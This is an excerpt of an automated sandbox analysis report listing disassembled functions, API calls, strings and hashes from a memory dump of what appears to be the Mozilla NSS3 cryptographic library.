Part of subcall function 6CF398D0: calloc.MOZGLUE(00000001,00000084,6CE60936,00000001,?,6CE6102C), ref: 6CF398E5

PR_NewCondVar.NSS3(00000000), ref: 6CF89C96

Part of subcall function 6CE5BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CE621BC), ref: 6CE5BB8C

PR_NewLock.NSS3 ref: 6CF89CA9

Part of subcall function 6CF398D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CF39946
Part of subcall function 6CF398D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CDF16B7,00000000), ref: 6CF3994E
Part of subcall function 6CF398D0: free.MOZGLUE(00000000), ref: 6CF3995E

PR_NewLock.NSS3 ref: 6CF89CB9
PR_NewLock.NSS3 ref: 6CF89CC9
PR_NewCondVar.NSS3(00000000), ref: 6CF89CDA

Part of subcall function 6CE5BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE5BBEB
Part of subcall function 6CE5BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CE5BBFB
Part of subcall function 6CE5BB80: GetLastError.KERNEL32 ref: 6CE5BC03
Part of subcall function 6CE5BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CE5BC19
Part of subcall function 6CE5BB80: free.MOZGLUE(00000000), ref: 6CE5BC22

PR_NewCondVar.NSS3(?), ref: 6CF89CF0
PR_NewPollableEvent.NSS3 ref: 6CF89D03

Part of subcall function 6CF7F3B0: PR_CallOnce.NSS3(6CFD14B0,6CF7F510), ref: 6CF7F3E6
Part of subcall function 6CF7F3B0: PR_CreateIOLayerStub.NSS3(6CFD006C), ref: 6CF7F402
Part of subcall function 6CF7F3B0: PR_Malloc.NSS3(00000004), ref: 6CF7F416
Part of subcall function 6CF7F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6CF7F42D
Part of subcall function 6CF7F3B0: PR_SetSocketOption.NSS3(?), ref: 6CF7F455
Part of subcall function 6CF7F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6CF7F473

Part of subcall function 6CF39890: TlsGetValue.KERNEL32(?,?,?,6CF397EB), ref: 6CF3989E

EnterCriticalSection.KERNEL32(?), ref: 6CF89D78
calloc.MOZGLUE(00000001,0000000C), ref: 6CF89DAF
_PR_CreateThread.NSS3(00000000,6CF89EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF89D9F

Part of subcall function 6CE5B3C0: TlsGetValue.KERNEL32 ref: 6CE5B403
Part of subcall function 6CE5B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6CE5B459

_PR_CreateThread.NSS3(00000000,6CF8A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF89DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6CF89DFC
_PR_CreateThread.NSS3(00000000,6CF8A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF89E29
calloc.MOZGLUE(00000001,0000000C), ref: 6CF89E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6CF89E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF89E89

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 871159f03209f3486e4eadc263af86ed0561fab5dde14a9f5edfb09e1312bdba
Instruction ID: 49cf8a20c4755570d8caea3f8416e9a77bea8166a0def3431ff953408a88835a
Opcode Fuzzy Hash: 871159f03209f3486e4eadc263af86ed0561fab5dde14a9f5edfb09e1312bdba
Instruction Fuzzy Hash: F36148B1E01706AFD714DF75C844AA7BBF8FF48208B14452AE85AC7B10EB71E914CBA1

Function 6CE83FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6CE84014

Part of subcall function 6CE839F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CE85E6F,?), ref: 6CE83A08
Part of subcall function 6CE839F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CE85E6F), ref: 6CE83A1C
Part of subcall function 6CE839F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE83A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6CE84038

Part of subcall function 6CED0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE787ED,00000800,6CE6EF74,00000000), ref: 6CED1000
Part of subcall function 6CED0FF0: PR_NewLock.NSS3(?,00000800,6CE6EF74,00000000), ref: 6CED1016
Part of subcall function 6CED0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE787ED,00000008,?,00000800,6CE6EF74,00000000), ref: 6CED102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CE8404D

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CF9A0F4), ref: 6CE840C2

Part of subcall function 6CECF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CECF0C8
Part of subcall function 6CECF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CECF122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6CE8409A

Part of subcall function 6CECBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CE7E708,00000000,00000000,00000004,00000000), ref: 6CECBE6A
Part of subcall function 6CECBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE804DC,?), ref: 6CECBE7E
Part of subcall function 6CECBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CECBEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE840DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE840F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE84108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6CE8411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6CE84137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6CE84150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6CF9A1C8), ref: 6CE8417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6CE84194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CE841A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE841B2
PK11_DestroyObject.NSS3(?,?), ref: 6CE841D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE841FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CF9A1A8), ref: 6CE8422D

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: 8f3bafd367cc4089cb3467c42ce7aa5d452e69050e1ee82e25766e73567158a3
Instruction ID: cec542a916eae54f4331a17b1762caf27d97e96d2bf34e595e62a46b6dce0965
Opcode Fuzzy Hash: 8f3bafd367cc4089cb3467c42ce7aa5d452e69050e1ee82e25766e73567158a3
Instruction Fuzzy Hash: F75117B6B053006BF7109A259D52B6B76FCDF5124CF24052EE95EC7F82FB31E50882A2

Function 6CEC8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6CEC8E01,00000000,6CEC9060,6CFD0B64), ref: 6CEC8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6CEC8E01,00000000,6CEC9060,6CFD0B64), ref: 6CEC8E9E
PORT_ArenaAlloc_Util.NSS3(6CFD0B64,00000001,?,?,?,?,6CEC8E01,00000000,6CEC9060,6CFD0B64), ref: 6CEC8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6CEC8E01,00000000,6CEC9060,6CFD0B64), ref: 6CEC8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6CEC8E01,00000000,6CEC9060,6CFD0B64), ref: 6CEC8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6CEC8E01,00000000,6CEC9060,6CFD0B64), ref: 6CEC8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6CEC8E01), ref: 6CEC8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CFD0B64,6CFD0B64), ref: 6CEC8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6CEC8F3F

Part of subcall function 6CECA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6CECA421,00000000,00000000,6CEC9826), ref: 6CECA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEC904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6CEC8E76

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 37d5470ddd9a676307c11823ec4e45b78c3eb20b127af6117095809fa56139f8
Instruction ID: 3024fec7cf1813616a5ea96cdc70f7851658fb5c79f290186ea06a6dbd158ac5
Opcode Fuzzy Hash: 37d5470ddd9a676307c11823ec4e45b78c3eb20b127af6117095809fa56139f8
Instruction Fuzzy Hash: B36191B5E01109ABDB10CF95CE81AAFB7B5FF84358F244129DC28A7700E732E915CBA1

Function 6CE78E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE78E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CE78E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE78EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CFA18D0,?), ref: 6CE78F03
PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CE78F19
PL_FreeArenaPool.NSS3(?), ref: 6CE78F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE78F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE78F65
PL_FinishArenaPool.NSS3(?), ref: 6CE78FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CE78FFE
PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CE79012
PL_FreeArenaPool.NSS3(?), ref: 6CE79024
PL_FinishArenaPool.NSS3(?), ref: 6CE7902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CE7903E

Strings

security, xrefs: 6CE78EE7

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: fe178f25365cdefa657956215383bd0041fb64fbd913ae77e3c290af711d01bc
Instruction ID: ef02c5eedfeb8497432725c91ee3bb22c53accfcb4ea7dec79f41d65456eabde
Opcode Fuzzy Hash: fe178f25365cdefa657956215383bd0041fb64fbd913ae77e3c290af711d01bc
Instruction Fuzzy Hash: 96512A71608200ABD7309A589C41FAB77B8EF9675CF65082EF455A7B40D732E90AC7B3

Function 6CEA4E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6CEA4E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEA4EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA4EC7

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEA4EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CEA4F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA4F1A
PR_LogPrint.NSS3(?,00000000), ref: 6CEA4F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CEA4F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CEA4F68

Strings

hSession = 0x%x, xrefs: 6CEA4EA2, 6CEA4EB2
pTemplate = 0x%p, xrefs: 6CEA4F4A
C_GetAttributeValue, xrefs: 6CEA4E7E
ulCount = %d, xrefs: 6CEA4F63
hObject = 0x%x, xrefs: 6CEA4EF5, 6CEA4F05
(CK_INVALID_HANDLE), xrefs: 6CEA4EC0, 6CEA4F13

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: e56877853aa09c0a5f70c924cd2ab02b75c98ed30ec66b011cfa6a04de1ef365
Instruction ID: 0d0c7c54bd5e3f55631538dc9973ee1c95213e8a6c11dcea7af50b9a25df6f2b
Opcode Fuzzy Hash: e56877853aa09c0a5f70c924cd2ab02b75c98ed30ec66b011cfa6a04de1ef365
Instruction Fuzzy Hash: DF411834A12114BFDB009FA0DC49F9A77B5EB4630DF55A46AE8085FB11DB31AD0ACB91

Function 6CEA4CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6CEA4CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEA4D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA4D37

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEA4D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CEA4D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA4D8A
PR_LogPrint.NSS3(?,00000000), ref: 6CEA4DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6CEA4DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6CEA4E20

Strings

hSession = 0x%x, xrefs: 6CEA4D12, 6CEA4D22
pulSize = 0x%p, xrefs: 6CEA4DB7
hObject = 0x%x, xrefs: 6CEA4D65, 6CEA4D75
C_GetObjectSize, xrefs: 6CEA4CEE
*pulSize = 0x%x, xrefs: 6CEA4E1B
(CK_INVALID_HANDLE), xrefs: 6CEA4D30, 6CEA4D83

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: 912aa8a459600799ee4fb0275a771e33c57f440c62d164087526907816338d32
Instruction ID: 48842701aa0e09aaf0add151338e89899ffbda3f5fc49634fe7b1bb10890b8b7
Opcode Fuzzy Hash: 912aa8a459600799ee4fb0275a771e33c57f440c62d164087526907816338d32
Instruction Fuzzy Hash: BC411771A11104BFDB409FA0DC88F5A77B5EB4630DF55846AE8086F711DB32AD0ACB92

Function 6CEA7C90 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6CEA7CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEA7CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA7CF3

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEA7D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CEA7D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CEA7D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CEA7D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CEA7D77

Strings

hSession = 0x%x, xrefs: 6CEA7CCE, 6CEA7CDE
ulDataLen = %d, xrefs: 6CEA7D40
pSignature = 0x%p, xrefs: 6CEA7D59
C_Verify, xrefs: 6CEA7CB1
(CK_INVALID_HANDLE), xrefs: 6CEA7CEC
ulSignatureLen = %d, xrefs: 6CEA7D72
pData = 0x%p, xrefs: 6CEA7D25

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify
API String ID: 1003633598-3278097884
Opcode ID: 0ea054f369cbf2a03b401f9572c42e1058483a0e567b38a11766261e1196c380
Instruction ID: 5e0668e2a07f7c2e9a20f27caf5ae08e5ace37e681d681af0571e94a8d110572
Opcode Fuzzy Hash: 0ea054f369cbf2a03b401f9572c42e1058483a0e567b38a11766261e1196c380
Instruction Fuzzy Hash: EA310631A12150AFDB10DFA4DD48F6A7BF1EB4730CF598468E8085B711DB32AC4ACBA1

Function 6CEA2F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6CEA2F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEA2F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA2F63

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEA2F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6CEA2F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6CEA2FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6CEA2FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6CEA2FE7

Strings

hSession = 0x%x, xrefs: 6CEA2F3E, 6CEA2F4E
ulOldLen = %d, xrefs: 6CEA2FB0
ulNewLen = %d, xrefs: 6CEA2FE2
pOldPin = 0x%p, xrefs: 6CEA2F95
pNewPin = 0x%p, xrefs: 6CEA2FC9
C_SetPIN, xrefs: 6CEA2F21
(CK_INVALID_HANDLE), xrefs: 6CEA2F5C

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: e4a5e17d98faf21f9d40231f59985644e73b8e8b64aba571cb7fcfc3d2de8c44
Instruction ID: 2c9467ae16a2e649eab4c4917064db4146cd0992dcd71ea5dce09208943144a7
Opcode Fuzzy Hash: e4a5e17d98faf21f9d40231f59985644e73b8e8b64aba571cb7fcfc3d2de8c44
Instruction Fuzzy Hash: AB312635A12144AFDB409FA1CD4DF4A7BB1EB4A30DF558058E8087B711DB32EC0ACB91

Function 6CF3CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CF3CC7B), ref: 6CF3CD7A

Part of subcall function 6CF3CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CEAC1A8,?), ref: 6CF3CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CF3CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CF3CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CF3CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CF3CD8E

Part of subcall function 6CE605C0: PR_EnterMonitor.NSS3 ref: 6CE605D1
Part of subcall function 6CE605C0: PR_ExitMonitor.NSS3 ref: 6CE605EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CF3CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CF3CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CF3CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CF3CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CF3CE48

Strings

getaddrinfo, xrefs: 6CF3CD88, 6CF3CDF9
ws2_32.dll, xrefs: 6CF3CD75
freeaddrinfo, xrefs: 6CF3CD9F, 6CF3CE10
getnameinfo, xrefs: 6CF3CDB2, 6CF3CE23
wship6.dll, xrefs: 6CF3CDE3

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
